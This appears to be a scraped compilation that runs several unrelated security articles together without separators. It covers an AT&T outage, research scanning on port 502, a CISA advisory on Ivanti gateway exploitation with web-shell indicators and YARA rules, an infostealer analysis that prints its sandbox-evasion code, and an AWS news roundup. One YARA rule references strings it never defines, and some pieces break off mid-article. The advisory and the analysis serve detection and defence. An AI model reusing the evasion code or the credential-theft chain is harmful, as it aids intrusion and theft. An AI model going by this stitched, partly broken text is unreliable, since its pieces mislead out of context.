Beginning this morning, AT&T's cellular network suffered a major outage across the US. At this point, AT&T has not made any statement as to the nature of the outage. It is far too early to speculate. In the past, similar outages were often caused by misconfigurations or technology failures.
What makes the outage specifically significant is that phones cannot connect to cell towers in some areas. This means you cannot make any calls, send or receive SMS messages, or reach emergency services. Some iPhones display the "SOS" indicator, which is displayed if the phone is able to make emergency-only calls via another provider's network. For some newer iPhones, satellite services may be used.
As a workaround, WiFi calling is still reported to work. If you do have an internet connection via a different provider and are able to enable WiFi calling, you will be able to make and receive calls.
Note that this will affect many devices like location trackers, alarm systems, or other IoT devices that happen to use AT&T's network. This could have security implications if you rely on these devices to monitor remote sites.
Some users are reporting that service has already been restored in their area, but without an official statement from AT&T, it is hard to predict how long service restoration will take. For your own planning purposes, I would assume it will be several hours for the service to be fully restored.
Some other workarounds to consider:
Many modern phones will allow for a second eSIM to be installed. T-Mobile and WiFi sometimes offer free trials of their network, and it may get you going for the day.
As mentioned above, WiFi calling is reported to work.
Get a data-only eSIM with a low-cost provider with enough data to "survive" the day.
For resiliency, it is always best to have a secondary internet connection available. In many cases, the cellular connection is your secondary connection. The outage also effects AT&T resellers (MVNOs) like Cricket, Consumer Celular, and Straight Talk.
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter|
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
[This is a Guest Diary by Rachel Downs, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].
Scanning on port 502
I’ve been running my DShield honeypot for around 3 months, and recently opened TCP port 502. I was looking for activity on this port as it could reveal attacks targeted towards industrial control systems which use port 502 for Modbus TCP, a client/server communications protocol. As with many of my other observations, what started out as an idea to research one thing soon turned into something else, and ended up as a deep dive into security research groups and the discovery of a lack of transparency about their actions and intent.
I analysed 31 days of firewall logs between 2023-12-05 and 2024-01-04. Over this period, there were 197 instances of scanning activity on port 502 from 179 unique IP addresses.
Almost 90% of scanning came from security research groups
Through AbuseIPDB [2] and GreyNoise [3], I assigned location, ISP and hostname data (where available) to each IP address. GreyNoise assigns actors to IP addresses and categorises these as benign, unknown or malicious. Actors are classified as benign when they are a legitimate company, search engine, security research organisation, university or individual, and GreyNoise has determined the actor is not malicious in nature. Actors are classified as malicious if harmful behaviours have been directly observed by GreyNoise, and if an actor is not classified as benign or malicious it is marked as unknown [4].
I used this classification, additional data from AbuseIPDB, and the websites of self-declared security research groups to categorise the scanning activity observed in my honeypot firewall logs.
89% of the total scanning activity was attributed to security research groups, 3% was attributed to known malicious actors and 8% was unknown.
Who are these researchers, and why are they scanning?
Almost half of the activity classified as security research came from two groups: Stretchoid and Censys. Other frequently observed groups included Palo Alto Networks, Shadowserver Foundation, InterneTTL, Cyble and the Academy for Internet Research. The remaining groups were only observed scanning port 502 once or twice each, including Shodan.
The motivations of these different research groups varies, and for some their purpose is unclear or unstated. Some are academic research projects, some are commercial organisations collecting data to feed into their products and services, and others are less clear.
Stretchoid was the most active actor identified, accounting for 25% of security research activity. There is very little information available about them, aside from an opt-out page. The page states “Stretchoid is a platform that helps identify an organisation’s online services. Sometimes this activity is incorrectly identified by security systems, such as firewalls, as malicious. Our activity is completely harmless” [5]. However, there is a lack of transparency around the organisation responsible for Stretchoid and as such, online discussions about them urge caution around submitting data through the opt-out form [6].
Censys conducts internet-wide scanning to collect data for its security products and datasets [7].
Palo Alto Networks were able to be identified using the ISP name, however they did not enable reverse DNS lookup for hostnames to identify the scanner being used. These IP addresses are marked as benign in GreyNoise and attributed to Palo Alto’s Cortex Xpanse product.
Shadowserver Foundation describe themselves as “a nonprofit security organisation working altruistically behind the scenes to make the internet more secure for everyone” [8].
InterneTTL’s website was not active at the time of this report, however GreyNoise points to it being a security research organisation that regularly mass-scans the internet [9].
Cyble describes its ODIN product as “one of the most powerful search engines for internet scanned assets”. It carries out host searches, asset discovery, port scanning, service identification, vulnerability detection and certificate analysis [10].
The Academy for Internet Research’s website states they are “a group of security researchers that wish to make the internet free, safe and accessible to all” [11].
bufferover.run is identified by GreyNoise as a commercial organisation that performs domain name lookups for TLS certificates in IPv4 space. GreyNoise has marked this actor as benign but it is unclear why they are carrying out port scanning activity [12].
Crowdstrike was seen twice via scans from Crowdstrike Falcon Surface (Reposify), which they describe as “the world’s leading AI-native platform for unified attack surface management” [13].
SecurityTrails is a Recorded Future company offering APIs and data services for security teams [14].
Shodan scanners were seen twice. These are used to capture data for Shodan’s search engine for internet-connected devices [15].
Alpha Strike Labs is a German security research company producing open source intelligence about attack surfaces using global internet scans. They claim to maintain more than 2000 IPv4 addresses for scanning [16].
BinaryEdge “scan the entire public internet, create real-time threat intelligence streams and reports the show the exposure of what is connected to the internet” [17].
CriminalIP is an internet-exposed device search engine run by AI Spera [18].
Internet Census Group is led by BitSight Technologies Inc and states data is collected to “analyse trends and benchmark security performance across a broad range of industries” [19].
Internet Measurement is operated by driftnet.io and is used to “discover and measure services that network owners and operators have publicly exposed”. They offer free access to an external view of your network from the data they have gathered [20].
Onyphe describes itself as a “cyber defence search engine” [21]. They provide an FAQ about their scanning on their website.
The Technical University of Denmark’s research project aims to identify “digital ghost ships” [22], devices which appear to be abandoned and un-maintained.
A lack of transparency
The UK's National Cyber Security Centre (NCSC), when launching its own internet scanning capability, provided some transparency and scanning principles [23] that they committed to following, and encouraged other security researchers to do the same:
Publicly explain the purpose and scope of the scanning system
Mark activity so that it can be traced back to the scanning system being used
Audit scanning activity so abuse reports can be easily and confidently assessed
Minimise scanning activity to reduce impact on target resources
Ensure opt-out requests are simple to send and processed quickly
Adherence to these principles varied between the research groups observed, but was generally quite poor among the more prolific scanners in this observation. It was not possible to observe whether research groups were auditing scanning activity, so this is not rated in the table below.
Fig 4: An analysis of security research groups’ adherence to NCSC’s ethical scanning principles
Fig 5: A guide to the ratings used in Fig 4
This lack of transparency makes it difficult to determine whether this activity is truly benign.
Good practice is demonstrated by Onyphe, who provide information about their scanning and their “10 commandments for ethical internet scanning” on their website. Along with the Technical University of Denmark, they also provide a web server on each of their probes which explains the purpose, intent and the ability to opt out.
Why does this matter?
The volume of scanning activity related to security research is significant, and has an impact on honeypot data. This has been discussed in a previous ISC blog post by Johannes Ullrich, “The Impact of Researchers on Our Data” [24]. Quick and accurate identification and filtering of research activity enables honeypot operators to more rapidly identify malicious activity, or activity that requires further investigation.
Equally, the presence of honeypot data in security research scans impacts the conclusions that will be drawn by researchers about the presence of open ports and vulnerable systems, and the estimated scale of these issues.
Although researchers themselves may not be using the data collected for malicious purposes, they may lose control of how the data is used once it is shared or sold elsewhere. For example, Shodan scanning activity is classed as security research, however the resulting data can be used by attackers to find vulnerable targets.
Some of the organisations involved in this scanning are profiting from the data collected from your systems, utilising your resources to do this. Ethical researchers should allow you to opt-out of this data collection.
Security research is a broad term, and the intent behind scanning activity is not always clear. This makes security research something of a grey area, and means transparency is key in order for informed decisions to be made.
What should I do?
As a honeypot operator, or someone responsible for monitoring internet-facing systems, you may decide to reduce scanning noise by blocking security research traffic. This is made difficult when researchers don’t publish the IP addresses they use, or don’t provide the ability to opt-out. To help with this, the ISC provides a feed of IP addresses used by researchers through their API [25].
All activity relating to Stretchoid, the most active research group in this observation, originated from DigitalOcean. Some users recommend blocking DigitalOcean’s IP ranges (unless this is required for your organisation) as an alternative to opting out.
A number of GitHub projects also exist to track the IP ranges of Stretchoid and other security research groups, such as szepevictor’s stretchoid.ipset [26].
Research groups could do more to build trust and help security teams separate benign activity from malicious. If you carry out internet scanning activities, it’s a good idea to follow the NCSC guidance discussed in this blog post to maintain transparency and allow others to make informed decisions about allowing or blocking your scans.
Enabling reverse DNS and using hostnames that identify your organisation or scanner is a good way to make your scanning activity identifiable, and an informative web page with a clear explanation of the purpose of data collection, including the ability to opt out, helps demonstrate your positive intentions.
The Cybersecurity and Infrastructure Security Agency (CISA) and the following partners (hereafter referred to as the authoring organizations) are releasing this joint Cybersecurity Advisory to warn that cyber threat actors are exploiting previously identified vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways. CISA and authoring organizations appreciate the cooperation of Volexity, Ivanti, Mandiant and other industry partners in the development of this advisory and ongoing incident response activities. Authoring organizations:
Federal Bureau of Investigation (FBI)
Multi-State Information Sharing & Analysis Center (MS-ISAC)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
United Kingdom National Cyber Security Centre (NCSC-UK)
Canadian Centre for Cyber Security (Cyber Centre), a part of the Communications Security Establishment
New Zealand National Cyber Security Centre (NCSC-NZ)
CERT-New Zealand (CERT NZ)
Of particular concern, the authoring organizations and industry partners have determined that cyber threat actors are able to deceive Ivanti’s internal and external Integrity Checker Tool (ICT), resulting in a failure to detect compromise.
Cyber threat actors are actively exploiting multiple previously identified vulnerabilities—CVE-2023-46805, CVE-2024-21887, CVE-2024-22024, and CVE-2024-21893—affecting Ivanti Connect Secure and Ivanti Policy Secure gateways. The vulnerabilities impact all supported versions (9.x and 22.x) and can be used in a chain of exploits to enable malicious cyber threat actors to bypass authentication, craft malicious requests, and execute arbitrary commands with elevated privileges.
During multiple incident response engagements associated with this activity, CISA identified that Ivanti’s internal and previous external ICT failed to detect compromise. In addition, CISA has conducted independent research in a lab environment validating that the Ivanti ICT is not sufficient to detect compromise and that a cyber threat actor may be able to gain root-level persistence despite issuing factory resets.
The authoring organizations encourage network defenders to (1) assume that user and service account credentials stored within the affected Ivanti VPN appliances are likely compromised, (2) hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory, (3) run Ivanti’s most recent external ICT, and (4) apply available patching guidance provided by Ivanti as version updates become available. If a potential compromise is detected, organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.
Based upon the authoring organizations’ observations during incident response activities and available industry reporting, as supplemented by CISA’s research findings, the authoring organizations recommend that the safest course of action for network defenders is to assume a sophisticated threat actor may deploy rootkit level persistence on a device that has been reset and lay dormant for an arbitrary amount of time. For example, as outlined in PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure), sophisticated actors may remain silent on compromised networks for long periods. The authoring organizations strongly urge all organizations to consider the significant risk of adversary access to, and persistence on, Ivanti Connect Secure and Ivanti Policy Secure gateways when determining whether to continue operating these devices in an enterprise environment.
This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques in Appendix C for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Overview
On January 10, 2024, Volexity reported on two vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways observed being chained to achieve unauthenticated remote code execution (RCE):[1]
Volexity first identified active exploitation in early December 2023, when they detected suspicious lateral movement [TA0008] on the network of one of their network security monitoring service customers. Volexity identified that threat actors exploited the vulnerabilities to implant web shells, including GLASSTOKEN and GIFTEDVISITOR, on internal and external-facing web servers [T1505.003]. Once successfully deployed, these web shells are used to execute commands on compromised devices.[1]
After Ivanti provided initial mitigation guidance in early January, threat actors developed a way to bypass those mitigations to deploy BUSHWALK, LIGHTWIRE, and CHAINLINE web shell variants.[2] Following the actors’ developments, Ivanti disclosed three additional vulnerabilities:
CVE-2024-21893 is a server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) Ivanti Policy Secure (9.x, 22.x), and Ivanti Neurons for ZTA that allows an attacker to access restricted resources without authentication.
CVE-2024-22024 is an XML vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x), and ZTA gateways that allows an attacker to access restricted resources without authentication.
CVE-2024-21888 is a privilege escalation vulnerability found in the web component of Ivanti Connect Secure and Ivanti Policy Secure. This vulnerability allows threat actors to gain elevated privileges to that of an administrator.
Observed Threat Actor Activity
CISA has responded to multiple incidents related to the above vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways. In these incidents, actors exploited these CVEs for initial access to implant web shells and to harvest credentials stored on the devices. Post-compromise, the actors moved laterally into domain environments and have been observed leveraging tools that are native to the Ivanti appliances—such as freerdp, ssh, telnet, and nmap libraries—to expand their access to the domain environment. The result, in some cases, was a full domain compromise.
During incident response investigations, CISA identified that Ivanti’s internal and external ICT failed to detect compromise. The organizations leveraged the integrity checker to identify file mismatches in Ivanti devices; however, CISA incident response analysis confirmed that both the internal and external versions of the ICT were not reliable due to the existence of web shells found on systems that had no file mismatches according to the ICTs. Additionally, forensic analysis showed evidence the actors were able to clean up their efforts by overwriting files, time-stomping files, and re-mounting the runtime partition to return the appliance to a “clean state.” This reinforces that ICT scans are not reliable to indicate previous compromise and can result in a false sense of security that the device is free of compromise.
As detailed in Appendix A, CISA conducted independent research in a lab environment validating that the ICT is likely insufficient for detecting compromise and that a cyber threat actor may be able to maintain root level persistence despite issuing factory resets and appliance upgrades.
INDICATORS OF COMPROMISE
See Tables 1 – 4 in Appendix B for IOCs related to cyber actors exploiting multiple CVEs related to Ivanti appliances.
Memory and disk forensics were used during forensic analysis, combined with the Integrity Checker Tool, to identify malicious files on the compromised Ivanti Connect Secure VPN appliance. This advisory provides a list of combined authoring organization IOCs and open source files identified by Volexity via network analysis.
Disclaimer: Some IP addresses in this advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action such as blocking. Activity should not be attributed as malicious without analytical evidence to support it is used at the direction of, or controlled by, threat actors.
The authoring organizations encourage you to assess your organization’s user interface (UI) software and systems for evidence of compromise and to hunt for malicious activity using signatures outlined within this advisory. If compromise is suspected or detected, organizations should assume that threat actors hold full administrative access and can perform all tasks associated with the Ivanti Connect Secure VPN appliance as well as executing arbitrary code and installing malicious payloads.
Note: These are vendor-managed appliances and systems may be encrypted with limited access. Thus, collecting artifacts may be limited on some versions of appliances. The authoring organizations recommend investigating associated devices on the network to identify lateral movement in the absence of access to the Secure Connect appliance.
If a potential compromise is detected, organizations should:
Quarantine or take offline potentially affected hosts.
Reimage compromised hosts.
Reset all credentials that may have been exposed during the compromise, including user and service accounts.
Identify Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol (LDAP) and AD.
Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
Report the compromise to FBI Internet Crime Complaint Center (IC3) at IC3.gov, local FBI field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722). Organizations outside of the United States should contact their national cyber center. (See the Reporting section.)
MITIGATIONS
These mitigations apply to all critical infrastructure organizations and network defenders using Ivanti Connect Secure VPN and Ivanti Policy Secure. The authoring organizations recommend that software manufacturers incorporate Secure by Design principles and tactics into their software development practices. These principles and tactics can limit the impact of exploitation—such as threat actors leveraging newly discovered, unpatched vulnerabilities within Ivanti appliances—thus, strengthening the secure posture for their customers.
The authoring organizations recommend organizations implement the mitigations below to improve your cybersecurity posture based on threat actor activity and to reduce the risk of compromise associated with Ivanti vulnerabilities. These mitigations align with the cross-sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
As organizations make risk decisions in choosing a VPN, to include decisions regarding continued operation of Ivanti Connect Secure and Policy Secure gateways, avoid VPN solutions that use proprietary protocols or non-standard features. VPNs as a class of devices carry some specific risks that a non-expert implementer may trigger (e.g., authentication integration and patching). When choosing a VPN, organizations should consider vendors who:
Provide a Software Bill of Materials (SBOM) to proactively identify, and enable remediation of, embedded software vulnerabilities, such as deprecated operating systems.
Allow a restore from trusted media to establish a root of trust. If the software validation tooling can be modified by the software itself, there is no way to establish a root of trust other than returning the device to the manufacturer (return material authorization [RMA]).
Are a CVE Numbering Authority (CNA) so that CVEs are assigned to emerging vulnerabilities in a timely manner.
Have a public Vulnerability Disclosure Policy (VDP) to enable security researchers to proactively share and disclose vulnerabilities through coordinated vulnerability disclosure (CVD).
Have in place a clear end-of-life policy (EoL) to prepare customers for updating to supported product versions.
Limit outbound internet connections from SSL VPN appliances to restrict access to required services. This will limit the ability of an actor to download tools or malware onto the device or establish outbound connections to command and control (C2) servers.
Ensure SSL VPN appliances configured with Active Directory or LDAP authentication use low privilege accounts for the LDAP bind.
Limit SSL VPN connections to unprivileged accounts only to help limit the exposure of privileged account credentials.
Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
Secure remote access tools.
Implement application controls to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
Strictly limit the use of Remote Desktop Protocols (RDP) and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
Audit the network for systems using RDP.
Close unused RDP ports.
Enforce account lockouts after a specified number of attempts.
Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, or the cloud).
Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST’s standards for developing and managing password policies.
Use longer passwords consisting of at least 15 characters [CPG 2.B].
Store passwords in hashed format using industry-recognized password managers.
Add password user “salts” to shared login credentials.
In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how the controls perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (Appendix C).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
REPORTING
U.S. organizations should report every potential cyber incident to the U.S. government. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI’s Internet Crime Complaint Center (IC3), local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or (888) 282-0870.
The FBI encourages organizations to report information concerning suspicious or criminal activity to their local FBI Field Office.
Australian organizations that have been impacted or require assistance regarding Ivanti compromise, contact ASD’s ACSC via 1300 CYBER1 (1300 292 371), or by submitting a report to cyber.gov.au.
UK organizations that have been impacted by Ivanti compromise, should report the incident to the National Cyber Security Centre.
Organizations outside of the United States or Australia should contact their national cyber center.
The information in this report is being provided “as is” for informational purposes only. CISA and authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and authoring organizations.
ACKNOWLEDGEMENTS
Volexity, Mandiant, and Ivanti contributed to this advisory.
VERSION HISTORY
February 29, 2024: Initial version.
APPENDIX A: CISA’S PRODUCT EVALUATION FINDINGS
Research Approach
As part of ongoing efforts to effectively serve the cybersecurity community with actionable insights and guidance, CISA conducted research by using a free and downloadable version of the Ivanti Connect Secure virtual appliance to assess potential attack paths and adversary persistence mechanisms. The virtual appliances were not connected to the internet, and were deployed in a closed virtualized network, with a non-internet connected Active Directory. This research included a variety of tests on version 22.3R1 Build 1647, connected to Active Directory credentials, to leverage the access obtained through CVE-2023-46805, CVE-2024-21887 and CVE-2024-21893. Put simply, CISA’s research team wanted to answer the question: “How far could an attacker go if they set were to exploit these CVEs remotely?”
Persistent Post-Reset and -Upgrade Access
Leveraging these vulnerabilities, CISA researchers were able to exfiltrate domain administrator cleartext credentials [TA0006], gain root-level persistence [TA0003], and bypass integrity checks used by the Integrity Checker application. CISA’s Incident Response team observed these specific techniques leveraged during the agency’s incident response engagements, along with the native tools and libraries to conduct internal reconnaissance and compromise domains behind the Ivanti appliances. CISA researchers assess that threat actors are able to use the credentials to move deeper into the environment.
The ability to exfiltrate domain administrator cleartext credentials, if saved when adding an “Active Directory Authentication server” during setup, was accomplished by using the root-level access obtained from the vulnerabilities to interface directly with the internal server and retrieve the cached credentials as shown in Figure 4, APPENDIX A. Users who currently have active sessions to the appliance could have their base64 encoded active directory cleartext passwords, in addition to the New Technology LAN Manager (NTLM) password hashes, retrieved with the same access, as shown in Figure 10, APPENDIX A. In addition to users with active sessions, users previously authenticated can have base64 encoded active directory plaintext passwords and NTLM hashes harvested from the backups of the data.mdb database files stored on the appliance, as shown in Figure 15 and 16, APPENDIX A.
The root-level access allows adversaries to maintain persistence despite issuing factory resets and appliance upgrades while deceiving the provided integrity checkers, creating the illusion of a clean installation. Due to the persistence mechanism being stored on the encrypted partition of the drive and inaccurate integrity check results, it is untenable for network administrators to validate their application has not been compromised without also decrypting the partition and validating against a clean installation of the appliance, which are actions not easily accomplished at present. Without major alterations of the integrity checking process, it is conceivable that new vulnerabilities that afford root-level access to the appliance could also result in root-kit level persistence to the appliance.
Below is proof of concept being released by CISA, which demonstrates the capacity of and opportunity for a threat actor to exfiltrate Domain Administrator credentials that were used during appliance configuration:
Figure 1: Ivanti Domain Join Configuration with “Save Credentials”
Figure 2: CVE-2023-46805 Exploitation for Reverse Netcat Connection
Figure 3: Upgrade Netcat Connection to Sliver Implant
Figure 4: Leverage Sliver Implant to Run Perl Script for Retrieval of Cached Domain Administrator Credentials
Below is a demonstration of the capacity for post exploitation exfiltration of base64 encoded cleartext credentials for active directory users and their associated NTLM password hashes:
Figure 5: Configuration of User Realm
Figure 6: User Realm Configuration to Domain
Figure 7: Configuration of User Realm Mapping
Figure 8: Login as “vpnuser1” to Establish an Active Session
Figure 9: Using Sliver Implant as Shown in Figure 3, Execute Perl Script to Retrieve base64 Encoded Cleartext Password and NTLM Password Hash for Authenticated User
Figure 11: Using Mimikatz Validate NTLM Password Hash Obtained in Figure 10 Matches Active Directory User Credential Hash
Figure 12: Inactive Sessions for “vpnuser2” and “vpnuser3” Appear in Server Logs
Figure 13: Exfiltrate “lmdb/data” and “lmdb-backup/data” data.mb Database Files Containing Credentials for Active and Inactive Sessions
Figure 14: Parse Database Files to Disclose base64 Encoded Plaintext Credentials from LMDB Database Files
Figure 15: Parse Database Files to Disclose NTLM Hashes from LMDB Database Files
Figure 16: Parse Backup Database Files to Disclose Additional base64 Encoded Plaintext Credentials from LMDB-Backup Database Files
Figure 17: Decode Credentials from LMDB-Backup Database Files
Figure 18: Parse Database Files to Disclose NTLM Hashes for Additional Users from LMDB-Backup Database Files
APPENDIX B: INDICATORS OF COMPROMISE
Table 1: Ivanti Connect Secure VPN Indicators of Compromise
Filename
Description
Purpose
/home/perl/DSLogConfig.pm
Modified Perl module.
Designed to execute sessionserver.pl.
/usr/bin/a.sh
gcore.in core dump script.
/bin/netmon
Sliver binary.
/home/venv3/lib/python3.6/site-packages/*.egg
Python package containing WIREFIRE among other files.
/home/etc/sql/dsserver/sessionserver.pl
Perl script to remount the filesystem with read/write access.
Make sessionserver.sh executable, execute it, then restore original mount settings.
/home/etc/sql/dsserver/sessionserver.sh
Script executed by sessionserver.pl.
Uses regular expressions to modify compcheckresult.cgi to insert a web shell into it; also creates a series of entries into files associated with the In-build Integrity Checker Tool to evade detection when periodic scans are run.
Modified legitimate component of the ICS VPN appliance, with new Perl module imports added and a one-liner to execute commands based on request parameters.
Allows remote code execution over the Internet if the attacker can craft a request with the correct parameters.
Cyber actors leverage code execution from request parameters that are decoded from hex to base64 decoded, then passed to Assembly.Load(). Which is used to execute arbitrary powershell commands.
Cyber actors will exploit software vulnerabilities such as command-injection and achieve unauthenticated remote code execution (RCE).
APPENDIX D: DETECTION METHODS
rule apt_webshell_pl_complyshell: UTA0178
{
meta:
author = "threatintel@volexity.com"
date = "2023-12-13"
description = "Detection for the COMPLYSHELL webshell."
hash1 = "8bc8f4da98ee05c9d403d2cb76097818de0b524d90bea8ed846615e42cb031d2"
os = "linux"
os_arch = "all"
report = "TIB-20231215"
scan_context = "file,memory"
last_modified = "2024-01-09T10:05Z"
license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
rule_id = 9995
version = 4
strings:
$s = "eval{my $c=Crypt::RC4->new("
condition:
$s
}
rule apt_webshell_aspx_glasstoken: UTA0178
{
meta:
author = "threatintel@volexity.com"
date = "2023-12-12"
description = "Detection for a custom webshell seen on external facing server. The webshell contains two functions, the first is to act as a Tunnel, using code borrowed from reGeorg, the second is custom code to execute arbitrary .NET code."
hash1 = "26cbb54b1feb75fe008e36285334d747428f80aacdb57badf294e597f3e9430d"
os = "win"
os_arch = "all"
report = "TIB-20231215"
scan_context = "file,memory"
last_modified = "2024-01-09T10:08Z"
license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
rule_id = 9994
version = 5
condition:
for any i in (0..#s1):
(
$re in (@s1[i]..@s1[i]+512)
)
}
rule webshell_aspx_regeorg
{
meta:
author = "threatintel@volexity.com"
date = "2018-08-29"
description = "Detects the reGeorg webshell based on common strings in the webshell. May also detect other webshells which borrow code from ReGeorg."
hash = "9d901f1a494ffa98d967ee6ee30a46402c12a807ce425d5f51252eb69941d988"
os = "win"
os_arch = "all"
reference = "https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.aspx"
report = "TIB-20231215"
scan_context = "file,memory"
last_modified = "2024-01-09T10:04Z"
license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
rule_id = 410
version = 7
The Internet Archive is a well-known and much-admired institution, devoted to creating a “digital library of Internet sites and other cultural artifacts in digital form”[1]. On its “WayBackMachine” website, which is hosted on https://archive.org/, one can view archived historical web pages from as far back as 1996. The Internet Archive basically functions as a memory for the web, and currently holds over 800 billion web pages as well as millions of books, audio and video recordings and other content… Unfortunately, since it allows for uploading of files by users, it is also used by threat actors to host malicious content from time to time[2,3].
Infostealers written in Python are not new. They also onboard a lot of sandbox detection mechanisms to prevent being executed (and probably detected) by automatic analysis. Last week, I found one that uses the same approach but in a different way. Usually, the scripts have a list of "bad stuff" to check like MAC addresses, usernames, processes, etc. These are common ways to detect simple sandboxes that are not well-hardened. This time, the "IOD" (Indicators Of Detection) list is stored online on a Pastebin-like site, allowing the indicators to be updated for all scripts already deployed. It's also a way to disclose less interesting information in the script.
The file, called main.py, has a VT score of 22/61 (SHA256: e0f6dcf43e19d3ff5d2c19abced7ddc2e703e4083fbdebce5a7d44a4395d7d06)[1]
The script will fetch indicators from many files hosted on rentry.co[2]:
All files were published on January 27 2024 around 23:19 UTC. The website gives also the number of views. Currently, there are only two (certainly my visits) so the script hasn't been released in the wild yet. I'll keep an eye on these counters in the coming days.
Here is an example of usage:
def checkgpu(self):
c = wmi.WMI()
for gpu in c.Win32_DisplayConfiguration():
GPUm = gpu.Description.strip()
gpulist = requests.get("https://rentry.co/povewdm6/raw").text
if GPUm in gpulist:
sys.exit()
The remaining part of the stealer is very classic. I just extracted the list of targeted websites (cookies are collected and exfiltrated):
You can see that classic sites are targeted but generic keywords are also present like "crypto", "bank" or "card". Cookies belonging to URLs containing these keywords will also be exfiltrated.
Over the past week, our service teams have continued to innovate on your behalf, and a lot has happened in the Amazon Web Services (AWS) universe that I want to tell you about. I’ll also share about all the AWS Community events and initiatives that are happening around the world.
Let’s dive in!
Last week’s launches Here are some launches that got my attention during the previous week.
AWS Control Tower introduces APIs to register organizational units – With these new APIs, you can extend governance to organizational units (OUs) using APIs and automate your OU provisioning workflow. The APIs can also be used for OUs that are already under AWS Control Tower governance to re-register OUs after landing zone updates. These APIs include AWS CloudFormation support, allowing customers to manage their OUs with infrastructure as code (IaC).
API Gateway now supports TLS 1.3 – By using TLS 1.3 with API Gateway as the centralized point of control, developers can secure communication between the client and the gateway; uphold the confidentiality, integrity, and authenticity of their API traffic; and benefit from API Gateway’s integration with AWS Certificate Manager (ACM) for centralized deployment of SSL certificates using TLS.
Amazon OpenSearch Service now lets you update cluster volume without blue/green – While blue/green deployments are meant to avoid any disruption to your clusters because the deployment uses additional resources on the domain, it is recommended that you perform them during low traffic periods. Now, you can update volume-related cluster configuration without requiring a blue/green deployment, ensuring minimal performance impact on your online traffic and avoiding any potential disruption to your cluster operations.
Amazon GuardDuty Runtime Monitoring protects clusters running in shared VPC – With this launch, customers who are already opted into automated agent management in GuardDuty will benefit from a renewed 30-day trial of GuardDuty Runtime Monitoring, where we will automatically start monitoring the resources (clusters) deployed in a shared VPC setup. Customers also have the option to manually manage the agent and provision the virtual private cloud (VPC) endpoint in their shared VPC environment.
